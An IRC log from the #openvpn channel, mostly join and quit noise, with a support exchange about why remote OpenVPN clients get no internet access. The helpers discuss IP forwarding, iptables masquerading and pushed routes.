21:02 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
21:03 -!- Netsplit *.net <-> *.split quits: riddle, abyss, simcop2387, Matir, majuscul1, mitz__, ppr, landono, rooth_, master_of_master,  (+1 more, use /NETSPLIT to show all of them)
21:03 -!- simcop2387_ is now known as simcop2387
21:04 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
21:04 -!- master_of_master [~master_of@p4FF24ACE.dip0.t-ipconnect.de] has joined #openvpn
21:05 -!- Netsplit over, joins: abyss
21:05 -!- Netsplit over, joins: mitz__
21:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:06 -!- Netsplit over, joins: krphop
21:06 -!- ngharo_ [~ngharo@hacked.thegov.us] has joined #openvpn
21:07 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 252 seconds]
21:07 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
21:07 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
21:07 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
21:07 -!- deever [~deever@78.46.68.172] has joined #openvpn
21:07 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Disconnected by services]
21:07 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
21:07 -!- master_o1_master [~master_of@p4FF246C5.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
21:07 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
21:07 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
21:07 -!- rsc_ [~robert@2001:1a50:6::1] has joined #openvpn
21:07 -!- rsc_ [~robert@2001:1a50:6::1] has quit [Changing host]
21:07 -!- rsc_ [~robert@fedora/rsc] has joined #openvpn
21:09 -!- deever_ [~deever@78.46.68.172] has quit [Ping timeout: 245 seconds]
21:09 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Ping timeout: 245 seconds]
21:09 -!- rsc [~robert@fedora/rsc] has quit [Ping timeout: 245 seconds]
21:09 -!- JyZyXEL [~foo@a88-115-46-124.elisa-laajakaista.fi] has quit [Ping timeout: 245 seconds]
21:09 -!- stephanj1 [stephan@nemesis.stejau.de] has quit [Ping timeout: 245 seconds]
21:09 -!- erry_ [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
21:09 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
21:09 -!- frank-- [1000@modemcable137.138-81-70.mc.videotron.ca] has joined #openvpn
21:09 -!- landono_ is now known as landono
21:10 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
21:10 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
21:10 -!- frank-- [1000@modemcable137.138-81-70.mc.videotron.ca] has quit [Changing host]
21:10 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
21:10 -!- frank-- is now known as thumbs
21:11 -!- Netsplit *.net <-> *.split quits: deever, jave_, JackSparrow, _quadDamage, c|oneman, zeshoem, GabrieleV, majuscule, KiNgMaR, @krzee,  (+6 more, use /NETSPLIT to show all of them)
21:11 -!- JyZyXEL [~foo@a88-115-46-124.elisa-laajakaista.fi] has joined #openvpn
21:13 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
21:13 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
21:15 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
21:15 -!- rsc_ [~robert@2001:1a50:6::1] has joined #openvpn
21:15 -!- Netsplit over, joins: krzee, deever, majuscule, peper, JackSparrow
21:15 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
21:15 -!- Netsplit over, joins: _quadDamage, jave_, spacedus1, KiNgMaR, zeshoem, kubbing, ScriptFanix, cj, c|oneman
21:15 -!- ServerMode/#openvpn [+o krzee] by pratchett.freenode.net
21:16 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
21:16 -!- peper [~peper@gentoo/developer/peper] has quit [Max SendQ exceeded]
21:19 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
21:19 -!- DBordelo [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
21:19 -!- Netsplit *.net <-> *.split quits: DBordello, mitz__, Fiouz_, Dropje_
21:19 -!- DBordelo is now known as DBordello
21:19 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
21:19 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
21:19 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
21:19 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
21:20 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 276 seconds]
21:20 -!- Matir_ [~matir@ubuntu/member/matir] has quit [Ping timeout: 276 seconds]
21:21 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
21:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
21:21 -!- dvl- [~dan@nyi.unixathome.org] has joined #openvpn
21:21 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
21:21 -!- riddle [riddle@us.yunix.net] has joined #openvpn
21:23 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host]
21:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:23 -!- mode/#openvpn [+o krzee] by ChanServ
21:23 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
21:23 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has joined #openvpn
21:23 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn []
21:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:23 -!- mode/#openvpn [+o krzee] by ChanServ
21:24 -!- master_o1_master [~master_of@p4FF24ACE.dip0.t-ipconnect.de] has joined #openvpn
21:24 -!- t35guy1 [~Andrew@63.142.161.8] has joined #openvpn
21:24 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
21:25 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
21:25 -!- ngharo [~ngharo@hacked.thegov.us] has joined #openvpn
21:26 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
21:26 -!- Netsplit *.net <-> *.split quits: WOOOP_, Masxmasx, MeanderingCode, dvl, Varazir_, Drone4four, TypoNe, ngharo_, jtrucks, t35guy,  (+2 more, use /NETSPLIT to show all of them)
21:28 -!- nutron|wirk [~nutron@24.67.96.21] has joined #openvpn
21:28 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
21:29 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
21:29 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
21:30 -!- MeanderingCode_ is now known as MeanderingCode
21:32 -!- nutron|wirk [~nutron@24.67.96.21] has quit [Ping timeout: 276 seconds]
21:32 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
21:33 -!- nutron|wirk [~nutron@24.67.96.21] has joined #openvpn
21:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:34 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
21:36 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
21:40 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
21:41 -!- cloneman_ [cloneman@1337.montrealdark.com] has joined #openvpn
21:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 268 seconds]
21:44 -!- phantomcircuit_ [~phantomci@covertinferno.org] has quit [Ping timeout: 268 seconds]
21:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
21:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
21:44 -!- erry_ [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
21:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
21:44 -!- Netsplit *.net <-> *.split quits: MeanderingCode
21:44 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
21:45 -!- spacedust [~info@dev.gentooexperimental.org] has joined #openvpn
21:46 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
21:46 -!- spacedust is now known as Guest19082
21:46 -!- DBordelo [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
21:47 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 264 seconds]
21:48 -!- Netsplit over, joins: MeanderingCode
21:48 -!- DBordelo is now known as DBordello
21:48 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
21:48 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
21:51 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
21:51 -!- rsc_ [~robert@2001:1a50:6::1] has quit [Ping timeout: 264 seconds]
21:51 -!- spacedus1 [~info@dev.gentooexperimental.org] has quit [Ping timeout: 264 seconds]
21:51 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Excess Flood]
21:51 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
21:51 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
21:52 -!- spacedus2 [~info@dev.gentooexperimental.org] has joined #openvpn
21:52 -!- Varazir_ [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
21:52 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
21:52 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
21:52 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
21:52 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
21:52 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 252 seconds]
21:52 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
21:52 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has quit [Ping timeout: 252 seconds]
21:52 -!- dvl- [~dan@nyi.unixathome.org] has quit [Ping timeout: 252 seconds]
21:52 -!- Guest19082 [~info@dev.gentooexperimental.org] has quit [Ping timeout: 252 seconds]
21:53 -!- Netsplit *.net <-> *.split quits: ele_, Poster, Matir, _Dave2_, levifig, Dropje, defswork_
21:53 -!- Netsplit over, joins: Dropje, defswork_
21:53 -!- rsc [~robert@fedora/rsc] has joined #openvpn
21:53 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
21:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:54 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
21:54 -!- Poster|x is now known as Poster
21:55 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
21:56 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
21:56 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
22:00 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
22:00 -!- levifig [~levifig@spwn.co] has joined #openvpn
22:00 -!- levifig [~levifig@spwn.co] has quit [Ping timeout: 256 seconds]
22:00 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has quit [Read error: Connection reset by peer]
22:03 -!- levifig [~levifig@spwn.co] has joined #openvpn
22:07 -!- i7c_ [~i7c@212.47.190.111] has joined #openvpn
22:11 -!- Netsplit *.net <-> *.split quits: matsh, [clu5ter], i7c^, simcop2387, [fred]
22:11 -!- Netsplit over, joins: simcop2387
22:14 -!- matsh [divine@nanogene.org] has joined #openvpn
22:14 -!- [clu5ter] [~staff@stealth.server.cybscripts.com] has joined #openvpn
22:14 -!- [fred] [fred@konfuzi.us] has joined #openvpn
22:23 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
22:29 -!- jtrucks_ is now known as jtrucks
22:32 -!- zamba [marius@flage.org] has joined #openvpn
22:42 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ngikrzijhskldueu] has joined #openvpn
22:45 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 248 seconds]
23:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
23:14 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:23 -!- zeshoem is now known as _mnathani_
23:24 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
23:24 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:46 -!- Varazir_ is now known as Varazir
--- Day changed Sat May 11 2013
00:02 -!- rsmith [~rsmith@76.91.251.142] has joined #openvpn
00:04 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
00:04 < Ungi> Hi all.
00:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:20 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
00:26 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
00:27 -!- rsmith [~rsmith@76.91.251.142] has quit [Remote host closed the connection]
00:27 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 276 seconds]
00:30 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
00:33 < EugeneKay> Hi.
00:36 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
00:37 -!- t35guy1 [~Andrew@63.142.161.8] has quit [Ping timeout: 245 seconds]
00:44 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 248 seconds]
00:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:00 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
01:03 -!- JyZyXEL [~foo@a88-115-46-124.elisa-laajakaista.fi] has left #openvpn ["WeeChat 0.4.0-rc3"]
01:03 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
01:03 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
01:15 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
01:15 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
01:15 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
01:18 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
01:18 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
01:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
01:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:22 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
01:22 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
01:22 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
01:23 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
01:24 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
01:29 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:29 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
01:30 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
01:30 -!- phunyguy [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
01:30 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
01:30 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
01:39 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
01:40 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
01:42 -!- mattock is now known as mattock_afk
01:43 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
01:47 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
01:50 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
01:56 -!- mattock_afk is now known as mattock
02:13 <@krzee> t35guy, ive used incloak.com and liked them, also i believe openvpn corp runs a service
02:13 <@krzee> i prefer running my own servers though
02:14 <@krzee> full disclosure, i got the account by helping the admin, but i do like it when i use it
02:19 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
02:47 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
02:49 -!- mattock is now known as mattock_afk
02:49 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
02:49 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
02:52 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
03:42 -!- Masxmasx{AFK} is now known as Masxmasx
03:42 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
03:42 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
03:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:55 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
04:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:17 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
04:18 -!- erry__ is now known as erry
04:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
04:40 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:41 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-iymmxdnqxhuoqlfa] has quit []
04:42 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-laqsbirslkqibchq] has joined #openvpn
04:43 -!- HectorBarbossa_ is now known as HectorBarbossa
04:45 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-laqsbirslkqibchq] has quit [Client Quit]
04:45 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-urohmqacftxbptil] has joined #openvpn
04:47 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-urohmqacftxbptil] has quit [Client Quit]
04:48 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zkfmbgqibpjqitbn] has joined #openvpn
04:51 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
04:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:24 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
05:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:26 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
05:36 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 272 seconds]
05:47 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
05:49 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
05:59 -!- TypoNe [~itsme@195.197.184.87] has quit [Quit: I shouldn't really be here - dircproxy 1.1.0]
05:59 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
05:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:16 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
06:19 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 255 seconds]
06:32 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
06:37 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 272 seconds]
06:48 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 240 seconds]
06:52 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
06:52 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
06:59 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
07:00 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
07:08 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
07:11 -!- brute11k1 [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
07:15 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
07:18 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
07:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:27 -!- cippaciong [~cippacion@95.236.151.5] has joined #openvpn
07:43 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
07:48 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
07:50 <@novaflash> krzee; what kind of debauchery did you do to get that free account krzee hm
07:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:01 < cippaciong> hello everyone
08:02 < cippaciong> I'd like to ask you something about a problem I have and that I cannot fully undestand
08:02 < cippaciong> I have an openvpn server I use to access a samba share when I'm out of the lan
08:03 < cippaciong> it's working quite well and, looking at the serverlan graph I can ping the server using both its tun0 ip or the local one
08:04 < cippaciong> I can't ping other PCs in the lan but I don't need it, the samba server is on the same machine
08:04 < cippaciong> the strange thing is that, when I connect to the server from my home network
08:04 < cippaciong> I have internet access
08:05 < cippaciong> If other people connect to the openvpn server from their home network, they don't have internet access
08:05 < cippaciong> why is this happening?
08:06 < cippaciong> Talking about solutions, I know the best way is to add a static route in the router (a low-end router given by the internet provider) but it doesn't have this option in the management interface
08:07 < cippaciong> before trying other method like iptables routing (which I actually already tried without success) or the nathack
08:08 < cippaciong> I wanted to understand if there are other methods to have interent access in all clients
08:08 < cippaciong> it doesn't matter if I can't access the clients in the serverlan
08:09 < cippaciong> I hope I made myself clear
08:10 < EugeneKay> !configs
08:10 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
08:10 < cippaciong> OS is linux (both client and server)
08:11 < cippaciong> I'll give you the configs in a while
08:12 < cippaciong> server http://pastie.org/7830776
08:13 < kisom> cippaciong: Please post your iptables config, inluding -t nat
08:15 < kisom> cippaciong: serverside, that is.
08:15 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
08:16 < cippaciong> kisom: is "iptables -L -t nat" fine?
08:17 < kisom> cippaciong: iptables -nvL and iptables -nvL -t nat
08:18 < cippaciong> http://pastie.org/7830785
08:19 < cippaciong> seems a little "blank" to me
08:19 < kisom> Yes, but since all of your chains has -P ACCEPT then routing will happen if you have routing enabled in your kernel
08:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:19 < kisom> Do you?
08:20 < cippaciong> I don't know actually
08:20 < cippaciong> is generic ubuntu (mint) kernel
08:20 < cippaciong> how can I check this?
08:21 < kisom> AS room, run sysctl -a | grep ipv4.ip_forward
08:21 < kisom> s/oom/root
08:21 < kisom> Eh, my spelling sucks today.
08:22 < cippaciong> I'll check but it should be
08:22 < cippaciong> now that you mentioned sysctl I remember I enbaled ip forward in sysctl.conf
08:23 < cippaciong> net.ipv4.ip_forward = 1
08:24 < kisom> OK, since you're using a non-routable IP subnet, you cannot have internet  access over the VPN.
08:25 < cippaciong> not at all? Or is there something I can do to have it?
08:25 < cippaciong> then why do I have it at home?
08:26 < kisom> You could enable masquerading, but since you haven't it's not possible that you have internet access over your VPN as it is configured right now.
08:26 < cippaciong> (right now I am connected to the openvpn server)
08:27 < cippaciong> should I use the nathack then?
08:27 < kisom> That's up to you to decide.
08:28 < cippaciong> following what criteria?
08:29 < kisom> Do you have routable IP addresses at your disposal?
08:29 < rob0> Nathack is never a "should", always a "should not". At best it's the only viable solution given some requirements, which themselves usually are unreasonable.
08:30 < rob0> Typically a better approach is to get rid of the broken router.
08:30 < cippaciong> rob0: I'm afraid this is not possible
08:31 < cippaciong> kisom: I can't understand, sorry. In other words?
08:31 < kisom> cippaciong: If you don't understand then you most likely does not. Use nathack instead.
08:33 < cippaciong> ok
08:33 < cippaciong> can you explain me in any case? I'd like to understand also if I can't do that
08:34 < kisom> cippaciong: Sorry, I don't have the time. Read a few articles about routing and how the internet works :)
08:34 < cippaciong> ok
08:34 < cippaciong> thanks
08:43 < rob0> I would accidentally drop a brick on the router, and thus say, "Oops, sorry boss, we need a new one." :)
08:45 < cippaciong> eheh
08:45 < cippaciong> anyway, I can't still undestand how is it that I have internet connection if this shouldn't be possibile
08:46 < cippaciong> s/how is it/how is/
08:47 < cippaciong> I was taking a look at the server config and noticed that I commented this line
08:47 < cippaciong> #push "route 10.8.10.0 255.255.255.0"
08:47 < cippaciong> while this is commented out
08:47 < cippaciong> 5
08:47 < cippaciong> 6
08:47 < cippaciong> 7
08:47 < cippaciong> 8
08:48 < cippaciong> 9
08:48 < cippaciong> 10
08:48 < cippaciong> 11
08:48 < cippaciong> 12
08:48 < cippaciong> #crl-verify /etc/openvpn/crl.pem
08:48 < cippaciong> server 10.8.0.0 255.255.255.0
08:48 < cippaciong> #push "route 10.8.10.0 255.255.255.0"
08:48 < cippaciong> push "route 192.168.1.0 255.255.255.0"
08:48 < cippaciong> wtf?
08:48 < cippaciong> sorry, look only at the last one
08:48 < cippaciong> I have 10.8.10.x IPs at home
08:48 < cippaciong> while other have 192.168.1.x
08:55 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
08:55 -!- mode/#openvpn [+v s7r] by ChanServ
09:11 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:19 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
09:20 -!- eliasp [~quassel@134.3.243.224] has joined #openvpn
09:30 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
09:30 < EugeneKay>  !paste
09:30 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
09:33 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
09:37 < cippaciong> I wanted to paste only 2 lines, I don't know why it copied also other things
09:38 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has joined #openvpn
09:44 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
09:44 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
09:46 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
09:46 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
09:46 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
09:48 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 264 seconds]
09:49 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
09:49 -!- abyss_ [~abyss@i-free.pl] has quit [Ping timeout: 264 seconds]
09:49 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
09:49 -!- abyss [~abyss@i-free.pl] has joined #openvpn
09:50 -!- Drone4four [~Drone4fou@99.225.90.196] has joined #openvpn
09:50 -!- phunyguy_ [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
09:51 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 264 seconds]
09:52 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
09:58 -!- cippaciong [~cippacion@95.236.151.5] has quit [Ping timeout: 248 seconds]
09:58 -!- cippaciong [~cippacion@95.236.151.5] has joined #openvpn
10:19 -!- gedO2 [~Thunderbi@2002:5877:9af0:1000:ca1:5c00:cac6:edd1] has joined #openvpn
10:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
